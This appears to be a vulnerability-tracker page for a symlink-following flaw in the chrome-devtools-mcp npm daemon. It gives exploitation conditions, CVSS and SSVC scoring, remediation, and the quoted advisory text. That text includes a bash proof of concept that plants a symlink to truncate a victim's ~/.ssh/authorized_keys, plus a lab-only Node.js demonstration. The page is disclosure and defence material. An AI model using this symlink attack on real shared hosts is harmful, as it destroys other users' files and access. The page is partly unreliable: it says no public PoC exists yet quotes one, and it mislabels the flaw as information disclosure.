Skip to main content

chrome-devtools-mcp CVE-2026-53765

MEDIUM
Improper Link Resolution Before File Access (CWE-59)
2026-06-17 https://github.com/ChromeDevTools/chrome-devtools-mcp GHSA-3pvj-jv98-qhjq
6.1
CVSS 3.1 · Vendor: https://github.com/ChromeDevTools/chrome-devtools-mcp
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Enumerate victim UID on shared POSIX host
  2. Delivery
    Pre-create /tmp/chrome-devtools-mcp-<uid>/ directory as attacker
  3. Exploit
    Place daemon.pid symlink targeting victim-owned file
  4. Execution
    Wait for victim to invoke chrome-devtools start
  5. Persist
    fs.writeFileSync follows symlink without O_NOFOLLOW
  6. Impact
    Target file truncated to daemon PID string

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V5 - File Handling Symlink resolution safety
Exploitation Conditions

Exploitation requires all of the following conditions simultaneously: (1) The victim runs macOS - where $XDG_RUNTIME_DIR is absent by default in all standard Terminal and GUI sessions - or a Linux session where $XDG_RUNTIME_DIR is explicitly unset or not configured; (2) The attacker holds any local user account on the same POSIX host - remote-only adversaries cannot exploit this vulnerability; (3) The attacker pre-creates the directory /tmp/chrome-devtools-mcp-<victim_uid>/ and places a symlink named daemon.pid pointing to a file writable by the victim, before the victim's daemon first starts; (4) The victim subsequently invokes chrome-devtools start or any MCP integration path that triggers daemon mode. Factors limiting exploitation: single-user workstations, containers with isolated /tmp (e.g., Docker without a shared tmpfs), and Linux sessions with $XDG_RUNTIME_DIR correctly set (typical of systemd-based desktops) are not vulnerable. The attacker has no control over written content - only a short PID integer is written - limiting the attack to truncation and corruption rather than arbitrary content injection, which reduces the threat of code execution via configuration poisoning.

Impact

The supplied CVSS 3.1 vector (AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L, score 6.1) correctly identifies a local, low-privilege attack surface with high integrity impact and no confidentiality exposure. No EPSS score was provided, and this CVE is absent from the CISA KEV catalog, so active exploitation is unconfirmed. However, the attack complexity is genuinely low: the PoC included in the advisory requires only shell commands and a known victim UID, making 6.1 arguably conservative relative to real-world exploitability on shared hosts. The practical integrity impact is severe - truncating ~/.ssh/authorized_keys or shell RC files causes immediate, potentially irreversible service disruption with no warning to the victim. The local-only vector (AV:L) appropriately limits the CVSS score, and the attack is bounded to multi-user POSIX systems; single-user workstations, containers with isolated /tmp, and sessions with $XDG_RUNTIME_DIR configured are not vulnerable. One minor vector disagreement: the supplied vector specifies UI:N, but exploitation requires the victim to actively start the daemon, which is more accurately UI:R under strict CVSS 3.1 guidance - this is noted in the independent assessment below.

Exploit ScenarioDerived

An attacker with any local account on a shared macOS or Linux host (without $XDG_RUNTIME_DIR set) runs mkdir -p /tmp/chrome-devtools-mcp-1000 and ln -s ~/.ssh/authorized_keys /tmp/chrome-devtools-mcp-1000/daemon.pid before the victim has ever started the daemon. When the victim subsequently runs chrome-devtools start as part of an AI agent workflow, fs.writeFileSync() follows the pre-planted symlink and silently overwrites authorized_keys with the daemon's PID string, locking the victim out of all SSH sessions. A working proof-of-concept demonstrating this exact attack is published in the GitHub Security Advisory GHSA-3pvj-jv98-qhjq.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 18, 2026

Symlink-following in chrome-devtools-mcp (npm, versions 0.20.0 through 1.0.1) allows any local user on the same POSIX host to truncate and overwrite arbitrary files owned by a victim user by pre-placing a symlink at the daemon's deterministic PID file path under /tmp. The attack targets macOS unconditionally and Linux sessions where $XDG_RUNTIME_DIR is unset, because the runtime path falls back to world-accessible /tmp. A detailed proof-of-concept demonstrating SSH key destruction is published in the GitHub Security Advisory; no confirmed active exploitation or CISA KEV listing exists at time of analysis, but the attack requires only a local account and trivial setup.

RemediationAI

Upgrade to chrome-devtools-mcp version 1.1.0, the vendor-confirmed patched release per GHSA-3pvj-jv98-qhjq. The canonical code fix is to replace fs.writeFileSync() with an openSync() call that passes the O_NOFOLLOW flag - preventing the OS from traversing symlinks during file open - combined with a 0o600 permission mask: const fd = openSync(pidFilePath, constants.O_WRONLY | constants.O_CREAT | constants.O_TRUNC | constants.O_NOFOLLOW, 0o600). If immediate patching is not possible, setting $XDG_RUNTIME_DIR to a user-private directory (e.g., /run/user/$(id -u) on systemd Linux systems) before starting the daemon eliminates the /tmp fallback entirely and prevents exploitation; this requires verifying that the target XDG path is not group- or world-writable. Disabling daemon mode is a more disruptive but complete workaround when the feature is not required. The advisory is at https://github.com/ChromeDevTools/chrome-devtools-mcp/security/advisories/GHSA-3pvj-jv98-qhjq.

Affected Packages

npm chrome-devtools-mcp fix: 1.1.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in npm

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The affected package is pkg:npm/chrome-devtools-mcp, a Node.js daemon providing Chrome DevTools Protocol integration for AI agent workflows. The root cause is CWE-59 (Improper Link Resolution Before File Access - Link Following): in src/daemon/daemon.ts lines 38-42, the daemon calls fs.writeFileSync() to persist its PID to a path resolved by getPidFilePath(). The path resolver in src/daemon/utils.ts falls back to /tmp/chrome-devtools-mcp-<uid>/daemon.pid when $XDG_RUNTIME_DIR is absent - unconditionally on macOS, conditionally on Linux. The /tmp sticky bit prevents deletion of other users' files but does not block a second user from creating a new subdirectory named after the victim's UID. Because the write uses neither O_NOFOLLOW nor any pre-write directory ownership validation, a symlink pre-planted at daemon.pid is silently followed by the Node.js fs layer, redirecting the write to whatever file the symlink targets - constrained only to files the victim can write.

Know when the next one hits your stack

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/ChromeDevTools/chrome-devtools-mcp) PRIMARY 6.1 MEDIUM
AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L
vuln.today AI 5.6 MEDIUM

PR:L because any local account suffices; UI:R because the victim must actively start the daemon; no confidentiality impact since only the PID string is written.

3.1 AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:L
4.0 AV:L/AC:L/AT:N/PR:L/UI:P/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N

Primary rating from Vendor (https://github.com/ChromeDevTools/chrome-devtools-mcp).

CVSS VectorVendor: https://github.com/ChromeDevTools/chrome-devtools-mcp

Attack Vector
Local
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
High
Availability
Low

DescriptionCVE.org

Summary

The chrome-devtools-mcp daemon writes its PID file with fs.writeFileSync() to a deterministic runtime path. On typical macOS environments, and on Linux sessions where $XDG_RUNTIME_DIR is unset, that runtime path falls back to /tmp/chrome-devtools-mcp-<uid>/daemon.pid.

Because the write does not use O_NOFOLLOW, a local low-privilege user on the same POSIX host can pre-create /tmp/chrome-devtools-mcp-<victim_uid>/daemon.pid as a symlink to a file writable by the victim. When the victim later starts daemon mode, fs.writeFileSync() follows the symlink and truncates the target file to the daemon PID string.

This report is deliberately scoped to POSIX systems where the daemon falls back to /tmp: typical macOS environments and Linux sessions without $XDG_RUNTIME_DIR. Windows is out of scope because the default temp directory is per-user and symlink creation has additional privilege requirements.

Details

Affected code:

src/daemon/daemon.ts:38-42

ts
const pidFilePath = getPidFilePath(sessionId);
fs.mkdirSync(path.dirname(pidFilePath), {
  recursive: true,
});
fs.writeFileSync(pidFilePath, process.pid.toString());

src/daemon/utils.ts:49-68

ts
export function getRuntimeHome(sessionId: string): string {
  const platform = os.platform();
  const uid = os.userInfo().uid;
  const suffix = sessionId ? `-${sessionId}` : '';
  const appName = APP_NAME + suffix;

  if (process.env.XDG_RUNTIME_DIR) {
    return path.join(process.env.XDG_RUNTIME_DIR, appName);
  }

  if (platform === 'darwin' || platform === 'linux') {
    return path.join('/tmp', `${appName}-${uid}`);
  }

  return path.join(os.tmpdir(), appName);
}

The /tmp sticky bit prevents non-owner file removal, but it does not prevent another local user from creating a subdirectory under /tmp. If an attacker creates /tmp/chrome-devtools-mcp-<victim_uid>/ first and places a symlink at daemon.pid, the victim's daemon process follows that link when writing the PID.

Preconditions:

  • The victim is on a typical macOS environment where $XDG_RUNTIME_DIR is unset, or on a Linux system/session where $XDG_RUNTIME_DIR is unset.
  • The attacker has any local user account on the same host.
  • The victim later runs a chrome-devtools CLI path or MCP integration that starts daemon mode.

PoC

Realistic POSIX scenario:

bash
# Attacker, before victim starts daemon mode.
victim_uid=1000
mkdir -p "/tmp/chrome-devtools-mcp-${victim_uid}"
chmod 0755 "/tmp/chrome-devtools-mcp-${victim_uid}"
ln -s "/home/victim/.ssh/authorized_keys" \
      "/tmp/chrome-devtools-mcp-${victim_uid}/daemon.pid"
# Victim later starts daemon mode.
chrome-devtools start
# Result:
# fs.writeFileSync follows the symlink, so authorized_keys is truncated to
# the daemon PID string.

Lab-only PoC that touches only a fresh os.tmpdir()/cdtmcp-lab-* directory:

js
const fs = require('node:fs');
const os = require('node:os');
const path = require('node:path');

const lab = fs.mkdtempSync(path.join(os.tmpdir(), 'cdtmcp-lab-'));

try {
  fs.chmodSync(lab, 0o755);

  const victimSecret = path.join(lab, 'victim-secret.txt');
  fs.writeFileSync(
    victimSecret,
    'IMPORTANT VICTIM CONTENT - MUST NOT BE TRUNCATED\n',
  );

  const runtimeDir = path.join(lab, 'attacker-pre-created');
  fs.mkdirSync(runtimeDir, {recursive: true});

  const pidFilePath = path.join(runtimeDir, 'daemon.pid');
  fs.symlinkSync(victimSecret, pidFilePath);

  // Exact pattern from src/daemon/daemon.ts:39-42.
  fs.mkdirSync(path.dirname(pidFilePath), {recursive: true});
  fs.writeFileSync(pidFilePath, process.pid.toString());

  console.log(fs.readFileSync(victimSecret, 'utf8'));
  // -> "<pid>"  (victim file was truncated/overwritten)
} finally {
  fs.rmSync(lab, {recursive: true, force: true});
}

Observed output from the lab PoC:

text
[setup] victim secret BEFORE attack:
  IMPORTANT VICTIM CONTENT - MUST NOT BE TRUNCATED
[attack] symlink placed: <runtimeDir>/daemon.pid -> <victimSecret>
[victim ran daemon] victim secret AFTER:
  <pid>
[lstat pidFile] still symlink
[outcome] victim file was overwritten via attacker-placed symlink.

I can provide the standalone pidfile_symlink_poc.cjs file if needed. The attached/local version includes platform notes, Windows symlink-permission diagnostics, and cleanup guards.

Impact

Who can exploit:

Any local user account on the same POSIX host where the victim runs the chrome-devtools-mcp daemon, when $XDG_RUNTIME_DIR is unset for that user session.

Security impact:

  • Integrity: an attacker can truncate and overwrite any file the victim can write, with content constrained to the daemon PID string.
  • Availability: critical user configuration files can be corrupted until restored from backup.
  • Confidentiality: none directly; the written content is only the PID string.

Example targets affected by truncation:

  • ~/.ssh/authorized_keys, causing the victim to lose SSH access.
  • ~/.bashrc, ~/.zshrc, or ~/.profile, breaking shell startup.
  • Project .env, secrets.json, license files, or line-oriented config files.
  • Logs or local audit files writable by the victim.

Suggested fix:

Open the PID file with O_NOFOLLOW and validate runtime directory ownership/permissions before writing:

ts
import {constants, openSync, writeSync, closeSync} from 'node:fs';

const fd = openSync(
  pidFilePath,
  constants.O_WRONLY |
    constants.O_CREAT |
    constants.O_TRUNC |
    constants.O_NOFOLLOW,
  0o600,
);
writeSync(fd, process.pid.toString());
closeSync(fd);

Threat Intelligence Overview

EPSS Score
0.1%
Top 98% exploitable
Threat Intel
1
1 source
Data Quality
5 sources
Confidence: Medium
NVD CVE.org EPSS GHSA GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.1%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Defer
Exploitation· derived
None
System Exposure· derived
Small
Automatable· derived
No
Human Impact· derived
Medium

Priority Score

30
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +30
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Information disclosure occurs when an application unintentionally exposes sensitive data that aids attackers in reconnaissance or directly compromises security.

Affected Products (CPE)CVE.org

pkg:npm/chrome-devtools-mcp

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy